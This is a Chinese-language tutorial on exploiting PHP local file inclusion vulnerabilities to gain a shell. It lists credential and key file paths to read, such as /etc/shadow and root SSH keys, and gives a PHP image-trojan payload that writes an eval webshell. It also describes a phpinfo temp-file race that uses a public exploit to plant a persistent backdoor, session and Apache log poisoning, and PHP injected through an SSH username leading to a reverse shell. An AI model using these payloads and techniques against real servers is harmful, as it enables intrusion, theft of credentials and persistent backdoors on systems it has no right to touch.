一、利用思路总结：
1、包含一些敏感的配置文件，获取目标敏感信息
2、配合图片马getshell
3、包含临时文件getshell
4、包含session文件getshell
5、包含日志文件getshell(Apach、SSH等等)
6、利用php伪协议进行攻击
二、具体利用方法：
①包含一些敏感的配置文件
windows常见的敏感文件路径:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
Linux常见的敏感文件路径:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
绝对路径：
../跨目录读取：
②配合图片马getshell
需要有一个文件上传的点，并且能够上传图片马，图片马的内容如下：
<?php fputs(fopen("panda.php","w"),\'<? @eval($_POST[PANDA]);?>\');?>
会在当前目录下生成panda.php，密码为PANDA，连接即可
③包含临时文件+phpinfo getshell
在PHP文件包含漏洞中，当我们找不到用于触发RCE的有效文件时，如果存在PHPINFO（它可以告诉我们临时文件的随机生成的文件名及其位置），我们可能可以包含一个临时文件来利用它升级为RCE。
利用方法简述：
在给PHP发送POST数据包时，如果数据包里包含文件区块，无论你访问的代码中有没有处理文件上传的逻辑，PHP都会将这个文件保存成一个临时文件（通常是/tmp/php[6个随机字符]），文件名可以在$_FILES变量中找到。这个临时文件，在请求结束后就会被删除。
同时，因为phpinfo页面会将当前请求上下文中所有变量都打印出来，所以我们如果向phpinfo页面发送包含文件区块的数据包，则即可在返回包里找到$_FILES变量的内容，自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时，即可利用这个方法，找到临时文件名，然后包含之。
但文件包含漏洞和phpinfo页面通常是两个页面，理论上我们需要先发送数据包给phpinfo页面，然后从返回页面中匹配出临时文件名，再将这个文件名发送给文件包含漏洞页面，进行getshell。在第一个请求结束时，临时文件就被删除了，第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争，具体流程如下：
1、发送包含了webshell的上传数据包给phpinfo页面，这个数据包的header、get等位置需要塞满垃圾数据
2、因为phpinfo页面会将所有数据都打印出来，1中的垃圾数据会将整个phpinfo页面撑得非常大
3、php默认的输出缓冲区大小为4096，可以理解为php每次返回4096个字节给socket连接
4、所以，我们直接操作原生socket，每次读取4096个字节。只要读取到的字符里包含临时文件名，就立即发送第二个数据包
5、此时，第一个数据包的socket连接实际上还没结束，因为php还在继续每次输出4096个字节，所以临时文件此时还没有删除
6、利用这个时间差，第二个数据包，也就是文件包含漏洞的利用，即可成功包含临时文件，最终getshell
操作过程：
访问存在文件包含漏洞的页面
http://192.168.136.128:8080/lfi.php?file=/etc/passwd
访问phpinfo页面，确实存在
然后利用网上的exp进行利用：
python2 exp.py 目标ip 8080 100
在189次请求时，就写入成功了
脚本exp.py实现了上述过程，成功包含临时文件后，会利用file_put_contents函数写入<?=eval($_REQUEST[1])?>一句话后门到/tmp/g文件中，这个文件会永久留在目标机器上
然后直接利用蚁剑进行连接即可，密码为1：
④包含session文件getshell
session简介：cookie存在客户端，session存在服务端，cookie一般用来保存用户得账户密码，session一般用来跟踪会话。
利用场景：
一般对于登陆点存在注册用户的，那么就可以起一个为payload的名字，这样会将payload保存在session文件中
利用条件：
①session文件路径已知
session文件路径位置可以通过phpinfo页面来获取： session.save_path参数
也可以猜测常见的一些session存储位置：
/var/lib/php/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]
②且其中部分内容可控制
利用方式：
访问漏洞页面，在参数中构造payload
然后我们的首要任务就是获取session文件名，可通过谷歌浏览器，或者burp抓包查看
文件名：sess_hvjhivr3iptal3909f90rksu9p，利用文件包含漏洞跨目录包含session文件getshell
连接webshell
⑤包含日志文件getshell
1.包含Apache日志文件
在用户发起请求时，服务器会将请求写入access.log(会记录访问IP、访问链接、Referer和User-Agent等)，当请求错误时将错误写入error.log
利用条件：日志文件的存储路径，并且日志文件可读。
①apache的日志文件可以通过phpinfo页面来查询，apache2handler 中的server root就是apache的安装路径，那么日志文件应该就是在这个路径下的logs目录中
②或者通过猜测常见日志文件的路径/usr/local/apache/logs/error_log或者access_log
③也可用通过先包含配置文件来确定日志文件路径
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
利用方式：
因为会自动url编码，会导致无法利用，所以抓包再请求
可以看到error.log文件中已经成功写入了payload
然后包含log文件路径即可
连接webshell
2.包含SSH日志文件
ssh \'<?php phpinfo();?>\'@192.168.136.143
这样把用户名写成phpinfo，ssh的登陆日志就会把此次的登陆行为记录到日志中，利用包含漏洞getshell
可以看到我们登陆的行为都被记录到了日志当中
可以看到刚才登陆的时候，成功phpinfo写入到日志文件中并且成功解析
通过phpinfo查看到了网站根目录
本来想着利用文件包含漏洞配合fputs和fopen函数在网站根目录写入一句话木马getshell，但是由于单引号太多就报错了，只能另谋出路
然后就想到了把执行命令的一句话木马写入日志，利用文件包含执行反弹shell
然后构造请求执行命令，因为刚才我写进去的是通过GET方式用panda参数传参，多个参数之间用&符号连接，还是要注意，命令要url编码再执行
大体利用思路就说到这，还可以进行进一步的思路拓展，大家就*发挥了，如果文章有错误的地方请指出，互相交流